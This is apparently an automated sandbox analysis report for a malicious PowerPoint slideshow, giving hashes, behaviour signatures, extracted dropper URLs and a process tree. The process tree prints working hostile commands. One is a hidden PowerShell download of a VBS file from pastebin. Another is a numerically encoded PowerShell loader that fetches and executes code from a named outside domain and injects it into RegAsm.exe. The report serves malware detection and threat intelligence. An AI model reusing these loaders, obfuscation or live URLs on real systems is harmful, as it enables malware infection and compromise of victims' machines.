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Analysis

  • max time kernel
    120s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    26/05/2024, 04:47

General

  • Target

    745db86a63082c422777fb646723ab1d_JaffaCakes118.pps

  • Size

    58KB

  • MD5

    745db86a63082c422777fb646723ab1d

  • SHA1

    41864d39e704ade8f560063b59b368c1031c3c40

  • SHA256

    232f5aeb67a605446b4876aa000e202aeb2cc6bfea17d9156a1b18ccae3a4a00

  • SHA512

    9a3d30179d3747e5dd1ae87378361f290c333816ca7877ae5aff03fe69cb0af8528f6fedfaa1a235b3f000c3f99cf9de8c44649126bea31605e1d5962740867a

  • SSDEEP

    384:QzEIIk/7G6wXpzRprR+HpExvYzCoiCg/:34/7G6GzRprRyOvXoiCg

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://pastebin.com/raw/DG0EBdFy

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://gritodopovo.com.br/RumpeTarefa.jpg

ps1.dropper

https://gritodopovo.com.br/module01.jpg

Signatures

  • Process spawned unexpected child process 4 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\Admin\AppData\Local\Temp\745db86a63082c422777fb646723ab1d_JaffaCakes118.pps"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2504
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/DG0EBdFy','C:\Users\Public\AdobePDF.vbs')
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start ,C:\Users\Public\AdobePDF.vbs
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 10
          3⤵
          • Runs ping.exe
          PID:2584
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Public\AdobePDF.vbs"
          3⤵
            PID:1956
      • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
        Powershell $LOLO=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,103,114,105,116,111,100,111,112,111,118,111,46,99,111,109,46,98,114,47,82,117,109,112,101,84,97,114,101,102,97,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,115,58,47,47,103,114,105,116,111,100,111,112,111,118,111,46,99,111,109,46,98,114,47,109,111,100,117,108,101,48,49,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,46,46,39,44,39,48,120,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,82,101,103,65,115,109,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($LOLO)|IEX
        1⤵
        • Process spawned unexpected child process
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2676
      • C:\Windows\system32\cmd.exe
        cmd /c copy "C:\Users\Public\AdobePDF.vbs" "C:\Users\Admin\AppData\Roaming" /Y
        1⤵
        • Process spawned unexpected child process
        PID:2948

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CCG6ME41G8687FB0W2GS.temp

        Filesize

        7KB

        MD5

        e2f20359cb2ee55ca742b67eb3168b8d

        SHA1

        e67d98790c53a0e1f0ecde11958dcc44d1f75c65

        SHA256

        90553359327c60e5349d0764f3c82ca08ee2b8f32a2d26debcc3754371b78ef2

        SHA512

        e874ff564dad440f0642acec16c05a8c753387313969bb91d6affa2b96993e93892780ae811ddc2449c2a91f7497e55f0d82d3828034a637806b7bfc1faa1aa2

      • C:\Users\Public\AdobePDF.vbs

        Filesize

        4KB

        MD5

        8b4f57dee4c499315c9d386f2ce91363

        SHA1

        3696de083e9224a600a6e94ce13386124a6ec749

        SHA256

        e20c93595a1818a1a0ccdc072ff930866b81664e99c22af0c1e1e2585146a57f

        SHA512

        9aea8f4faed362335bc9dd1156d2b67c0a59e078e0d53acd35e937deb5141f59723a6bc30c9f0ac0033e297e03dd2b252370bcf9d8768783fe238ad9ed2ba41f

      • memory/2676-35-0x000000001B210000-0x000000001B4F2000-memory.dmp

        Filesize

        2.9MB

      • memory/2676-38-0x0000000002520000-0x0000000002528000-memory.dmp

        Filesize

        32KB

      • memory/3008-0-0x000000002DA31000-0x000000002DA32000-memory.dmp

        Filesize

        4KB

      • memory/3008-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/3008-2-0x000000007255D000-0x0000000072568000-memory.dmp

        Filesize

        44KB

      • memory/3008-12-0x0000000004C10000-0x0000000004D10000-memory.dmp

        Filesize

        1024KB

      • memory/3008-11-0x0000000004C10000-0x0000000004D10000-memory.dmp

        Filesize

        1024KB

      • memory/3008-8-0x0000000004C10000-0x0000000004D10000-memory.dmp

        Filesize

        1024KB

      • memory/3008-15-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/3008-16-0x000000007255D000-0x0000000072568000-memory.dmp

        Filesize

        44KB